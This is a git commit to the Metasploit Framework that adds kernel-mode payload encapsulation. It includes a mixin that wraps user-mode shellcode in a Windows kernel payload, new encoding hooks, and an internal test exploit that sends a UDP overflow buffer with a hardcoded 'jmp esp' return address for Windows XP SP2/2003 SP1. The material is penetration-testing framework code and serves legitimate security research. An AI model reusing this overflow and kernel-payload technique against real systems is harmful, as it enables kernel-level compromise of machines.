initial integration of basic kernel-mode payload support
git-svn-id: file:///home/svn/framework3/trunk@4044 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
fa14510b78
commit
465ea3c677
|
@ -85,6 +85,12 @@ class EncodedPayload
|
|||
#
|
||||
def generate_raw
|
||||
self.raw = (reqs['Prepend'] || '') + pinst.generate + (reqs['Append'] || '')
|
||||
|
||||
# If an encapsulation routine was supplied, then we should call it so
|
||||
# that we can get the real raw payload.
|
||||
if reqs['EncapsulationRoutine']
|
||||
self.raw = reqs['EncapsulationRoutine'].call(reqs, raw)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
|
|
@ -214,9 +214,11 @@ class Exploit < Msf::Module
|
|||
# Behavior
|
||||
require 'msf/core/exploit/brute'
|
||||
require 'msf/core/exploit/brutetargets'
|
||||
|
||||
# Payload
|
||||
require 'msf/core/exploit/egghunter'
|
||||
require 'msf/core/exploit/seh'
|
||||
require 'msf/core/exploit/kernel_mode'
|
||||
|
||||
# Protocol
|
||||
require 'msf/core/exploit/tcp'
|
||||
|
@ -447,19 +449,28 @@ class Exploit < Msf::Module
|
|||
reqs = self.payload_info.dup
|
||||
|
||||
# Pass save register requirements to the NOP generator
|
||||
reqs['SaveRegisters'] = nop_save_registers
|
||||
reqs['Prepend'] = payload_prepend
|
||||
reqs['PrependEncoder'] = payload_prepend_encoder
|
||||
reqs['BadChars'] = payload_badchars
|
||||
reqs['Append'] = payload_append
|
||||
reqs['MaxNops'] = payload_max_nops
|
||||
reqs['MinNops'] = payload_min_nops
|
||||
reqs['Encoder'] = datastore['ENCODER']
|
||||
reqs['Nop'] = datastore['NOP']
|
||||
reqs['EncoderType'] = payload_encoder_type
|
||||
reqs['EncoderOptions'] = payload_encoder_options
|
||||
reqs['SaveRegisters'] = nop_save_registers
|
||||
reqs['Prepend'] = payload_prepend
|
||||
reqs['PrependEncoder'] = payload_prepend_encoder
|
||||
reqs['BadChars'] = payload_badchars
|
||||
reqs['Append'] = payload_append
|
||||
reqs['MaxNops'] = payload_max_nops
|
||||
reqs['MinNops'] = payload_min_nops
|
||||
reqs['Encoder'] = datastore['ENCODER']
|
||||
reqs['Nop'] = datastore['NOP']
|
||||
reqs['EncoderType'] = payload_encoder_type
|
||||
reqs['EncoderOptions'] = payload_encoder_options
|
||||
reqs['ExtendedOptions'] = payload_extended_options
|
||||
|
||||
return EncodedPayload.create(real_payload, reqs)
|
||||
# Call the encode begin routine.
|
||||
encode_begin(real_payload, reqs)
|
||||
|
||||
# Generate the encoded payload.
|
||||
encoded = EncodedPayload.create(real_payload, reqs)
|
||||
|
||||
# Call the encode end routine which is expected to return the actual
|
||||
# encoded payload instance.
|
||||
return encode_end(real_payload, reqs, encoded)
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -471,6 +482,20 @@ class Exploit < Msf::Module
|
|||
generate_single_payload(nil, platform, arch)
|
||||
end
|
||||
|
||||
#
|
||||
# Called prior to encoding a payload.
|
||||
#
|
||||
def encode_begin(real_payload, reqs)
|
||||
end
|
||||
|
||||
#
|
||||
# Called after an encoded payload has been generated. This gives exploits
|
||||
# or mixins a chance to alter the encoded payload.
|
||||
#
|
||||
def encode_end(real_payload, reqs, encoded)
|
||||
encoded
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Feature detection
|
||||
|
@ -771,6 +796,19 @@ class Exploit < Msf::Module
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the payload extended options hash which is used to provide
|
||||
# a location to store extended information that may be useful to
|
||||
# a particular type of payload or mixin.
|
||||
#
|
||||
def payload_extended_options
|
||||
if target and target.payload_extended_options
|
||||
target.payload_extended_options
|
||||
else
|
||||
payload_info['ExtendedOptions']
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# NOP requirements
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
module Msf
|
||||
|
||||
require 'rex/payloads/win32/kernel'
|
||||
|
||||
module Exploit::KernelMode
|
||||
|
||||
#
|
||||
# The way that the kernel-mode mixin works is by replacing the payload
|
||||
# to be encoded with one that encapsulates the kernel-mode payload as
|
||||
# well.
|
||||
#
|
||||
def encode_begin(real_payload, reqs)
|
||||
super
|
||||
|
||||
reqs['EncapsulationRoutine'] = Proc.new { |reqs, raw|
|
||||
encapsulate_payload(reqs, raw)
|
||||
}
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
#
|
||||
# Encapsulates the supplied raw payload within a kernel-mode payload.
|
||||
#
|
||||
def encapsulate_payload(reqs, raw)
|
||||
new_raw = nil
|
||||
ext_opt = reqs['ExtendedOptions'] || {}
|
||||
|
||||
# If this is a win32 target platform, try to encapsulate it in a
|
||||
# win32 kernel-mode payload.
|
||||
if target_platform.supports?(Msf::Module::PlatformList.win32)
|
||||
ext_opt['UserModeStub'] = raw
|
||||
|
||||
new_raw = Rex::Payloads::Win32::Kernel.construct(ext_opt)
|
||||
end
|
||||
|
||||
# If we did not generate a new payload, then something broke.
|
||||
if new_raw.nil?
|
||||
raise RuntimeError, "Could not encapsulate payload in kernel-mode payload"
|
||||
else
|
||||
dlog("Encapsulated user-mode payload size #{raw.length} in kernel-mode payload size #{new_raw.length}", 'core', LEV_1)
|
||||
end
|
||||
|
||||
new_raw
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
|
@ -12,6 +12,13 @@ require 'msf/core/module/platform'
|
|||
class Msf::Module::PlatformList
|
||||
attr_accessor :platforms
|
||||
|
||||
#
|
||||
# Returns the win32 platform list.
|
||||
#
|
||||
def self.win32
|
||||
transform('win')
|
||||
end
|
||||
|
||||
#
|
||||
# Transformation method, just accept an array or a single entry.
|
||||
# This is just to make defining platform lists in a module more
|
||||
|
|
|
@ -132,7 +132,7 @@ class Msf::Module::Target
|
|||
opts = {} if (!opts)
|
||||
|
||||
self.name = name
|
||||
self.platform = opts['Platform'] ? Msf::Module::PlatformList.from_a(opts['Platform']) : nil
|
||||
self.platform = opts['Platform'] ? Msf::Module::PlatformList.transform(opts['Platform']) : nil
|
||||
self.save_registers = opts['SaveRegisters']
|
||||
self.ret = opts['Ret']
|
||||
self.opts = opts
|
||||
|
@ -243,6 +243,14 @@ class Msf::Module::Target
|
|||
opts['Payload'] ? opts['Payload']['EncoderOptions'] : nil
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a hash of extended options that are applicable to payloads used
|
||||
# against this particular target.
|
||||
#
|
||||
def payload_extended_options
|
||||
opts['Payload'] ? opts['Payload']['ExtendedOptions'] : nil
|
||||
end
|
||||
|
||||
#
|
||||
# The name of the target (E.g. Windows XP SP0/SP1)
|
||||
#
|
||||
|
|
|
@ -14,14 +14,14 @@ module Recovery
|
|||
#
|
||||
# The default recovery method is to spin the thread
|
||||
#
|
||||
def self.default
|
||||
spin
|
||||
def self.default(opts = {})
|
||||
spin(opts)
|
||||
end
|
||||
|
||||
#
|
||||
# Infinite 'hlt' loop.
|
||||
#
|
||||
def self.spin
|
||||
def self.spin(opts = {})
|
||||
"\xf4\xeb\xfd"
|
||||
end
|
||||
|
||||
|
|
|
@ -3,7 +3,6 @@ require 'msf/core'
|
|||
module Msf
|
||||
module Exploits
|
||||
module Test
|
||||
module Multi
|
||||
|
||||
class Aggressive < Msf::Exploit::Remote
|
||||
|
||||
|
@ -16,7 +15,7 @@ class Aggressive < Msf::Exploit::Remote
|
|||
"This module tests the exploitation of a test service.",
|
||||
'Author' => 'skape',
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision$',
|
||||
'Version' => '$Revision: 4013 $',
|
||||
'Arch' => 'x86',
|
||||
'Payload' =>
|
||||
{
|
||||
|
@ -92,4 +91,3 @@ end
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,80 @@
|
|||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
module Exploits
|
||||
module Test
|
||||
|
||||
#
|
||||
# This is a test exploit for testing kernel-mode payloads.
|
||||
#
|
||||
class Kernel < Msf::Exploit::Remote
|
||||
|
||||
include Exploit::Remote::Udp
|
||||
include Exploit::KernelMode
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Internal Kernel-mode Test Exploit',
|
||||
'Description' =>
|
||||
"This module tests the exploitation of a kernel-mode test service.",
|
||||
'Author' => 'skape',
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 4013 $',
|
||||
'Arch' => 'x86',
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'MaxNops' => 0,
|
||||
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
|
||||
'PrependEncoder' => "\x81\xC4\x0C\xFE\xFF\xFF" # add esp, -500
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Windows XP SP2 / Windows 2003 SP1',
|
||||
{
|
||||
'Ret' => 0x80502d7f, # jmp esp
|
||||
'Platform' => 'win',
|
||||
'Payload' =>
|
||||
{
|
||||
'ExtendedOptions' =>
|
||||
{
|
||||
'Stager' => 'sud_syscall_hook',
|
||||
'Recovery' => 'spin'
|
||||
}
|
||||
}
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def check
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def exploit
|
||||
connect_udp
|
||||
|
||||
print_status("Sending #{payload.encoded.length} byte payload...")
|
||||
|
||||
buf =
|
||||
rand_text_alphanumeric(260) +
|
||||
"\xbe\x7f\x00\x00" +
|
||||
rand_text_alphanumeric(28) +
|
||||
[target.ret].pack('V') +
|
||||
rand_text_alphanumeric(8) +
|
||||
payload.encoded
|
||||
|
||||
udp_sock.put(buf)
|
||||
|
||||
sleep 2
|
||||
|
||||
disconnect_udp
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue